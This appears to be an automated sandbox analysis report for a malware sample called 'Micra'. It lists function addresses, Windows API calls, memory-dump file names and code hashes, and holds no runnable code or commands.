Function 0040233A Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetPrivateProfileStringA.KERNEL32(00000000,?,?,?,000003FF,00000000), ref: 0040236D

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 87ca484cdc6c73c1e829813bfd27d2dcf7183703ec879ee6fec4fd922c601bed
Instruction ID: 67da2805f158e0035f602913fcdc533986be1668159f44229c4ea465ce316489
Opcode Fuzzy Hash: 87ca484cdc6c73c1e829813bfd27d2dcf7183703ec879ee6fec4fd922c601bed
Instruction Fuzzy Hash: FCE08634F44204BADF10AFA19D49EAD3678AF41710F14403AFD547B0E2EAB844419B2D

Function 00405DB5 Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(00000000,?,00000000,?,?,0041F4E8,?,?,00405E43,0041F4E8,?,?,?,00000002,Call), ref: 00405DD9

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 688c0e3dac6200a4dcf5f70578aed2939ff3afbafb421f65443b8838c7a2b092
Instruction ID: 1bb1e450acb1cec7aaebab1a7e88d6b79e3e17733f6ed9cfc6e3f6d6de5b0954
Opcode Fuzzy Hash: 688c0e3dac6200a4dcf5f70578aed2939ff3afbafb421f65443b8838c7a2b092
Instruction Fuzzy Hash: D9D0123214024EBBDF115F909C05FAB3B2DEF04314F108827FE06A4090D375D530AB65

Function 0040159D Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(00000000,?,000000F0), ref: 004015A8

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9ad3368f28842b63240b43095d0b068e3f646c1f23794f7f91dbfbeff94efc4c
Instruction ID: e41715f0e6a8bf2c44c365c92f64d23a332030a9f95fc047605520203e95b8fc
Opcode Fuzzy Hash: 9ad3368f28842b63240b43095d0b068e3f646c1f23794f7f91dbfbeff94efc4c
Instruction Fuzzy Hash: 9BD012B6708111ABCB10DFA8AA4869D77A49B40325B308137D515F21D0E2B9C9456719

Function 00403173 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402F0F,?), ref: 00403181

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction ID: 49fdcfdf8b1973cd13611e97ba0bfafd8618b6cb304eeeee9131019f9f046fb0
Opcode Fuzzy Hash: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction Fuzzy Hash: 03B01271644200BFDA214F00DF05F057B21A790700F10C030B748380F082712420EB4D

Function 00401EDB Relevance: 1.3, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00405056: lstrlenA.KERNEL32(0041F4E8,00000000,0040E8C0,00000000,?,?,?,?,?,?,?,?,?,004030B1,00000000,?), ref: 0040508F
Part of subcall function 00405056: lstrlenA.KERNEL32(004030B1,0041F4E8,00000000,0040E8C0,00000000,?,?,?,?,?,?,?,?,?,004030B1,00000000), ref: 0040509F
Part of subcall function 00405056: lstrcatA.KERNEL32(0041F4E8,004030B1,004030B1,0041F4E8,00000000,0040E8C0,00000000), ref: 004050B2
Part of subcall function 00405056: SetWindowTextA.USER32(0041F4E8,0041F4E8), ref: 004050C4
Part of subcall function 00405056: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004050EA
Part of subcall function 00405056: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00405104
Part of subcall function 00405056: SendMessageA.USER32(?,00001013,?,00000000), ref: 00405112

Part of subcall function 004055CE: CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00421510,Error launching installer), ref: 004055F7
Part of subcall function 004055CE: CloseHandle.KERNEL32(?), ref: 00405604

CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 00401F20

Part of subcall function 0040633C: WaitForSingleObject.KERNEL32(?,00000064), ref: 0040634D
Part of subcall function 0040633C: GetExitCodeProcess.KERNEL32(?,?), ref: 0040636F

Part of subcall function 00405E8D: wsprintfA.USER32 ref: 00405E9A

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 2972824698-0
Opcode ID: b0a501a9eafe77c97c2c496f47c0dc6ba7aad14b3677605ff562daff4fba8fe6
Instruction ID: 17f7953f0d5b7b21d2e535c202f5bbb1bf051249d0315c8d96c64ca666d5043c
Opcode Fuzzy Hash: b0a501a9eafe77c97c2c496f47c0dc6ba7aad14b3677605ff562daff4fba8fe6
Instruction Fuzzy Hash: FCF0BB71A05121ABCB20BF654D495EF66A4DF81314B10057BFA01B21D1C77C4E4146BE

Function 004014D6 Relevance: 1.3, APIs: 1, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014E9

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 2d2ea165d73d518d9fd4fb0fa82b75b10d4384c3dbeee5eca3b70bc2a4399788
Instruction ID: f8516b803037c027809a6aaf5c02566bfb38bc0bc56e6af3c2ac612a391889ec
Opcode Fuzzy Hash: 2d2ea165d73d518d9fd4fb0fa82b75b10d4384c3dbeee5eca3b70bc2a4399788
Instruction Fuzzy Hash: BFD05EB3B14151AFDB14EBB9BD8845E77F4E7503153208837E812E2091E978C9424A28

Function 10001215 Relevance: 1.3, APIs: 1, Instructions: 4memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D

Memory Dump Source

Source File: 00000000.00000002.3428984711.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3428968276.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.3428998849.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.3429054882.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Micra.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 6989041179a6ec659f8410a82a3610e1053cc9f4ca9d652552d89decbf4b4a90
Instruction ID: 35b308b173d9b0532f6cde55f5bface33093279d7ce3c78a2cc6db588f634b90
Opcode Fuzzy Hash: 6989041179a6ec659f8410a82a3610e1053cc9f4ca9d652552d89decbf4b4a90
Instruction Fuzzy Hash: 6CA002B1945620DBFE429BE08D9EF1B3B25E748781F01C040E315641BCCA754010DF39

Non-executed Functions

Function 03191F95 Relevance: 3.5, Strings: 2, Instructions: 1040COMMON

Download Yara Rule

Strings

Q, xrefs: 03191F95
m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: Q$m VK
API String ID: 0-3200252097
Opcode ID: 38a6da67f0a2d9dcabd3e4f3046847ee6e0eb774f59afc3435be662b02298861
Instruction ID: 958f9659742d7f0a29939cde11f4a58c302db6e0e10cb6575b79f438a31982bc
Opcode Fuzzy Hash: 38a6da67f0a2d9dcabd3e4f3046847ee6e0eb774f59afc3435be662b02298861
Instruction Fuzzy Hash: 74428886E2E31A9AFF97A170C5016A15B80DF2F182F238F579836719A1772F4ACF05D4

Function 03190E3B Relevance: 2.9, Strings: 1, Instructions: 1601COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 84ebe9b1415ecc44371e99edfb26ce5a9a51dbdc94d1fb88d7749d0b85b1ebeb
Instruction ID: f9c7478165f2c02066f0890b7a62848cd3791dd25ed94d840137c17e0f554dd8
Opcode Fuzzy Hash: 84ebe9b1415ecc44371e99edfb26ce5a9a51dbdc94d1fb88d7749d0b85b1ebeb
Instruction Fuzzy Hash: 04926846E2E31AAAFE87B031C5017A15B80DF2F5C6F238F67983671961772B4ACE05D4

Function 03190E68 Relevance: 2.8, Strings: 1, Instructions: 1599COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 4ed7d0c24986d6b92bfb030780985fe3006a65f7a30e2b5e57dcfb85239a9ef4
Instruction ID: 17aee17f3366f62d7c7ca866515127ab9188c62682ae09c37642e34a13342989
Opcode Fuzzy Hash: 4ed7d0c24986d6b92bfb030780985fe3006a65f7a30e2b5e57dcfb85239a9ef4
Instruction Fuzzy Hash: 44925946E2E31AAAFF87B031C5017A15B80DF2F586F238F67983671961772B4ACE05D4

Function 03190EB7 Relevance: 2.8, Strings: 1, Instructions: 1585COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 468480b8e309d75ca29913573e42fc18f636e4d10c1563f6318664710dbff3f8
Instruction ID: a373e995653a51217cbb9a30631135101af600c416a22ff8a4029265dc4debd9
Opcode Fuzzy Hash: 468480b8e309d75ca29913573e42fc18f636e4d10c1563f6318664710dbff3f8
Instruction Fuzzy Hash: 0E926946E2E31AAAFE87B031C5017A15B80DF2F582F238F67983671961772B4ACE05D4

Function 03190FA1 Relevance: 2.8, Strings: 1, Instructions: 1569COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 6c70aef48a91794e2bd4c42c67142ee69f925aa895b8ede9b8744523343ca8f5
Instruction ID: eb9989424cd1076b18992933c0b3ec0152cfac70fcfb25ae2b1f142ef195254a
Opcode Fuzzy Hash: 6c70aef48a91794e2bd4c42c67142ee69f925aa895b8ede9b8744523343ca8f5
Instruction Fuzzy Hash: 24925846E2E31AAAFF87B031C5017A15B80DF2F586F238F67983671961772B4ACE05D4

Function 03190F44 Relevance: 2.8, Strings: 1, Instructions: 1568COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: c2c8195de70da16bd45990bfb5e5a8620fb67d556a49099d6600e7dde3e19b36
Instruction ID: 0302ba96045523289e19d3a6d2e9ba80d0dfb2a936f479e9484fa7fb3835f83c
Opcode Fuzzy Hash: c2c8195de70da16bd45990bfb5e5a8620fb67d556a49099d6600e7dde3e19b36
Instruction Fuzzy Hash: F8925846E2E31AAAFE87B031C5017A15B80DF2F5C6F238F67983671961772B4ACE05D4

Function 03190F64 Relevance: 2.8, Strings: 1, Instructions: 1565COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 7e40959d3b35ac794696208c404f10f628b58b15080f196ea78a2a536497a3e6
Instruction ID: 4ea33ce8011746a756bbc4b98e7f85a71bb1e4ee74564a67cc7a08e59f606130
Opcode Fuzzy Hash: 7e40959d3b35ac794696208c404f10f628b58b15080f196ea78a2a536497a3e6
Instruction Fuzzy Hash: B6925846E2E31AAAFF87B031C5016A15B80DF2F5C6F238F67983671961772B4ACE05D4

Function 03190FD8 Relevance: 2.8, Strings: 1, Instructions: 1554COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 4b3a2fb207f2c0dba02400041825bd2f384b1672f38178ad95ef2e407870cab8
Instruction ID: 889b6b1ef1c9e2b212d6920f0d8e79fde6611a531f1077406555d99a5c13e343
Opcode Fuzzy Hash: 4b3a2fb207f2c0dba02400041825bd2f384b1672f38178ad95ef2e407870cab8
Instruction Fuzzy Hash: 3A925846E2E31AAAFE87B031C5017A15B80DF2F5C2F238F67983671961772B4ACE05D4

Function 03191227 Relevance: 2.7, Strings: 1, Instructions: 1480COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 2f8eb432bbf45428991373ebbd519fd1c83d7bce287b91e88c8ebe8721d6a982
Instruction ID: b60a212728eb6b5d4e465f5a0c5999d1bfe1833830e2657d50372ab11a5374d0
Opcode Fuzzy Hash: 2f8eb432bbf45428991373ebbd519fd1c83d7bce287b91e88c8ebe8721d6a982
Instruction Fuzzy Hash: B4826846E2E31AAAFE87B071C5017A15B80DF2F582F238F67983671961772F4ACE05D4

Function 031912B1 Relevance: 2.7, Strings: 1, Instructions: 1478COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: b8d4054ea758a4ed6c024f16c5e754069d604335926c2b9390dff2e8af76e279
Instruction ID: 19278f801e8d386abae5f5ce0196bdd40b6c3e884e5886f0df546f7c898ba648
Opcode Fuzzy Hash: b8d4054ea758a4ed6c024f16c5e754069d604335926c2b9390dff2e8af76e279
Instruction Fuzzy Hash: 8B826846E2E31AAAFE87B070C5017A15B80DF2F582F238F67983671961772F4ACE05D4

Function 0319123A Relevance: 2.7, Strings: 1, Instructions: 1474COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 59b25fbd17b54be2732f9ceb2614ef1f4623334eb1837d56902029d81c9650d4
Instruction ID: 27398b9a2ebb2ae18b1445ea61e30a05d7ce1563455fb14bceea29476b7163f7
Opcode Fuzzy Hash: 59b25fbd17b54be2732f9ceb2614ef1f4623334eb1837d56902029d81c9650d4
Instruction Fuzzy Hash: 67825846E2E31AAAFE87B070C5417A15B80DF2F582F238F67983671961772F4ACE05D4

Function 0319127D Relevance: 2.7, Strings: 1, Instructions: 1462COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: f7286b5d0b82b44aab1b593546299c7f3b51b306527b3d61d2b886f22ba19776
Instruction ID: c71aad293f8e3677dd9e83e7ca49c00874e7ce77c4d910bb9d3df0351ebb4895
Opcode Fuzzy Hash: f7286b5d0b82b44aab1b593546299c7f3b51b306527b3d61d2b886f22ba19776
Instruction Fuzzy Hash: 92826846E2E31AAAFE87A071C5017A15B80DF2F582F238F67983671961772F4ACE05D4

Function 031913C2 Relevance: 2.7, Strings: 1, Instructions: 1439COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: a59679cc8871117921a09b585f333662fedc872b2b2ee9a294bfc85c95603011
Instruction ID: 08f4ab2133258f405710fb1c821fe6573dfe35123af217b38f92d5f821df4c8b
Opcode Fuzzy Hash: a59679cc8871117921a09b585f333662fedc872b2b2ee9a294bfc85c95603011
Instruction Fuzzy Hash: 4C827946E2E31AAAFF87A031C5417A15B80DF2F582F238F67983671961772F4ACE05D4

Function 031913F3 Relevance: 2.7, Strings: 1, Instructions: 1438COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: a19437a256af6512b709f81cc50f2ca7668bd2e1e9df37d03c5512922918c11e
Instruction ID: 1023fc3c469ae0fa0e8290be4ff9cc062a31954eea294d4a5647ea20f65dd489
Opcode Fuzzy Hash: a19437a256af6512b709f81cc50f2ca7668bd2e1e9df37d03c5512922918c11e
Instruction Fuzzy Hash: 74827A46E2E31A9AFF87A070C5417A15B80DF2F582F238F679836719A1772F4ACE05D4

Function 03191325 Relevance: 2.7, Strings: 1, Instructions: 1437COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 1e2fb6b65b71bda1b63f75e3bf2135605ca5dd4048142de7072ade7af18eb643
Instruction ID: e3be487c83b6647922f9efebd05c8da673c30a2adcace2489c162156c2a31c24
Opcode Fuzzy Hash: 1e2fb6b65b71bda1b63f75e3bf2135605ca5dd4048142de7072ade7af18eb643
Instruction Fuzzy Hash: 0E826A46E2E31AAAFF87A031C5417A15B80DF2F582F238F67983671961772F4ACE05D4

Function 03191316 Relevance: 2.7, Strings: 1, Instructions: 1432COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: c5f5a22b32c1f61f4a1e53340ecf8867777b7d9943f602ad1cbd2c3fd724858a
Instruction ID: 18fc2a9a94e7add6dadbd5cea5a91ffd7d297cad60cec3ca5136ec5fda3b32fb
Opcode Fuzzy Hash: c5f5a22b32c1f61f4a1e53340ecf8867777b7d9943f602ad1cbd2c3fd724858a
Instruction Fuzzy Hash: 71826946E2E31AAAFE87B071C5417A15B80DF2F582F238F67983671961372F4ACE05D4

Function 03191368 Relevance: 2.7, Strings: 1, Instructions: 1429COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 6bc58c1d2bcee1d64ade08004c1b1a6aa4c59665fb52e708c3cc5f4e7206542b
Instruction ID: b280370185b118fce042d2908ce0098106fec9c5620abbea181036d9bbff5972
Opcode Fuzzy Hash: 6bc58c1d2bcee1d64ade08004c1b1a6aa4c59665fb52e708c3cc5f4e7206542b
Instruction Fuzzy Hash: C2827946E2E31AAAFF87A071C5417A15B80DF2F582F238F67983671961372F4ACE05D4

Function 0319139C Relevance: 2.7, Strings: 1, Instructions: 1408COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: bfccfa1020119627403361f43818e39607fdf18a34db09e069bc7285cb76881a
Instruction ID: 8137bc75211c0d892c4d48ffd9079a98e8751988cd29d7b9cf46fdab1b4fc7aa
Opcode Fuzzy Hash: bfccfa1020119627403361f43818e39607fdf18a34db09e069bc7285cb76881a
Instruction Fuzzy Hash: 59826946E2E31AAAFF87B070C5416A15B80DF2F582F238F67983671961772F4ACE05D4

Function 03191677 Relevance: 2.6, Strings: 1, Instructions: 1330COMMON

Download Yara Rule

